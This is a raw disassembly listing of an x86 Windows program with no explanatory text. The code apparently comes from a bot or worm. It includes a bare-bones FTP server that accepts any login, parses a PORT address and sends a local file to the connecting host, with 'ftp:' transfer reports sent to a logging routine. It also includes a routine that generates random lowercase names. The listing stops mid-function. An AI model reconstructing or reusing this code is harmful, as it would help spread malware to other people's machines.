		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014D3
		push	eax
		push	offset dword_44402C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E8EE:				; CODE XREF: sub_41E660+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EA55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016E0
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402144
		add	esp, 4
		test	al, al
		jz	loc_41EA3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B40
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_40145B
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EA3D
		mov	ebx, dword_50F8D0


loc_41E9D6:				; CODE XREF: sub_41E660+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	edi
		push	offset dword_444020
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_40182A
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41E9D6


loc_41EA3D:				; CODE XREF: sub_41E660+2CFj
					; sub_41E660+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EA55:				; CODE XREF: sub_41E660+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB4C
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017E4
		push	eax
		call	sub_4019FB
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014D3
		push	eax
		push	offset dword_444018
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E660+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41EC15
		push	ebx
		push	offset dword_44400C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		push	ebx
		call	sub_4018A7
		add	esp, 1Ch
		jmp	short loc_41EC17
; ---------------------------------------------------------------------------


loc_41EC15:				; CODE XREF: sub_41E660+1F0j
					; sub_41E660+44Ej ...
		xor	al, al


loc_41EC17:				; CODE XREF: sub_41E660+195j
					; sub_41E660+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: ___:loc_401FE6j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_50F8D0
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EDE0:				; CODE XREF: ___:0041EDF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EDF3
		push	3E8h
		call	edi
		jmp	short loc_41EDE0
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: ___:0041EDE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4472B7
		call	sub_401A32
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E6EDB
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EE19:				; DATA XREF: ___:loc_41EE2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EE2C:				; DATA XREF: ___:0044154Co
		mov	eax, offset loc_41EE19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EE70	proc near		; CODE XREF: sub_401DE3j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FBE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FBE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FBE
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EE70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF30	proc near		; CODE XREF: sub_4020A9j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EF30
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44768F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41EFB7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E6EDB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFB7:				; CODE XREF: sub_41EF30+6Dj
		push	10h
		push	esi
		push	eax
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41EFE7
		mov	ecx, [edi+15h]
		push	ecx
		nop
		call	near ptr 71AB9639h
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E6EDB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFE7:				; CODE XREF: sub_41EF30+93j
		mov	al, byte_4E6E84
		test	al, al
		jz	loc_41F650
		push	ebx
		mov	ebx, dword_50FB08
		push	ebp
		mov	ebp, dword_50FC8C


loc_41F002:				; CODE XREF: sub_41EF30+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F01D
		push	0FAh
		jmp	loc_41F63B
; ---------------------------------------------------------------------------


loc_41F01D:				; CODE XREF: sub_41EF30+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F636
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		call	near ptr 71AC0B50h
		nop
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F641
		mov	cl, byte_447DF8
		test	cl, cl
		jz	short loc_41F0CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44768F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_447998
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h


loc_41F0CF:				; CODE XREF: sub_41EF30+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_401424
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C5D
		push	eax
		call	sub_4015EB
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FBE
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016AE
		push	offset asc_4440A8 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5EFFD5
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401A8C
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F595
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F595
		push	2
		push	0
		push	edi
		call	near ptr 77C4139Ch
		nop
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		call	near ptr 77C4139Ch
		nop
		add	esp, 1Ch


loc_41F4C0:				; CODE XREF: sub_41EF30+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		nop
		call	near ptr 77C411FBh
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F513
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F4C0


loc_41F513:				; CODE XREF: sub_41EF30+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_447DF8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F57C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_447998
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 2Ch


loc_41F57C:				; CODE XREF: sub_41EF30+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F595:				; CODE XREF: sub_41EF30+55Bj
					; sub_41EF30+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F636:				; CODE XREF: sub_41EF30+109j
		push	9C4h


loc_41F63B:				; CODE XREF: sub_41EF30+E8j
		call	near ptr 2821EEEh
		nop


loc_41F641:				; CODE XREF: sub_41EF30+140j
		mov	al, byte_4E6E84
		test	al, al
		jnz	loc_41F002
		pop	ebp
		pop	ebx


loc_41F650:				; CODE XREF: sub_41EF30+BEj
		mov	eax, [edi+15h]
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41F65A:				; CODE XREF: sub_41EF30+82j
					; sub_41EF30+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F860	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F89D
		mov	byte_4E6ED9, 0
		jmp	loc_41FA01
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F860+2Fj
		mov	cl, byte_4472BB
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E6ED9, 1
		jnz	loc_41F9F4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_401FEB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41F9E7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_401424
		mov	[esp+0A0h+var_4], ebx
		call	sub_401EEC
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_446F70
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015D7
		cmp	edi, ebx
		jle	short loc_41F966


loc_41F90A:				; CODE XREF: sub_41F860+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_401424
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FBE
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_443E84
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F90A


loc_41F966:				; CODE XREF: sub_41F860+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_40146F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017E4
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
